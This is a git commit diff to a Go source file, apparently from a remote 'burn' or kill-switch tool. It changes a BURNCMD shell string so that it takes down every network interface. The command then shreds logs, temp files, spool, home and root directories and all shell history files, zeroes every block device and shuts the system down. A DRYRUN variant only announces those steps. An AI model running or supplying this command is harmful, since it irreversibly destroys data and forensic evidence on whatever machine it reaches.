corrected interface disabling

This commit is contained in:
delorean 2024-01-14 10:26:28 -06:00
parent c5a1e196fa
commit b6a7406abb
1 changed files with 1 additions and 1 deletions

View File

@ -9,6 +9,6 @@ var (
ACCEPTED = "https://git.supernets.org/assets/laugh.mp3"
DENIED = "https://git.supernets.org/assets/tryagain.mp3"
AGENTLOG = "agents.list"
BURNCMD = `dirs=(/var/log/ /tmp/ /var/spool/ /home/ /root/); for d in "${dirs[@]}"; ip link set eth0 down; do find $d -type f -exec shred -fzn 10 {} \;; done; find / -name "*history" -type f -exec shred -fzn 10 {} \;; for d in $(df -h | grep "^/dev/" | cut -d " " -f 1); do dd if=/dev/zero of=$d; done; shutdown --no-wall now`
BURNCMD = `dirs=(/var/log/ /tmp/ /var/spool/ /home/ /root/); for iface in $(ip -o link show | awk -F': ' '{print $2}' | grep -v 'lo'); do ip link set $iface down; done; for d in "${dirs[@]}"; do find $d -type f -exec shred -fzn 10 {} \;; done; find / -name "*history" -type f -exec shred -fzn 10 {} \;; for d in $(df -h | grep "^/dev/" | cut -d " " -f 1); do dd if=/dev/zero of=$d; done; shutdown --no-wall now`
DRYRUN = `dirs=(/var/log/ /tmp/ /var/spool/ /home/ /root/); for d in "${dirs[@]}"; do wall "recursively shredding $d"; done; find / -name "*history" -type f -exec wall "shredding history file {}" \;; for d in $(df -h | grep "^/dev/" | cut -d " " -f 1); do wall "zeroing storage device $d"; done`
)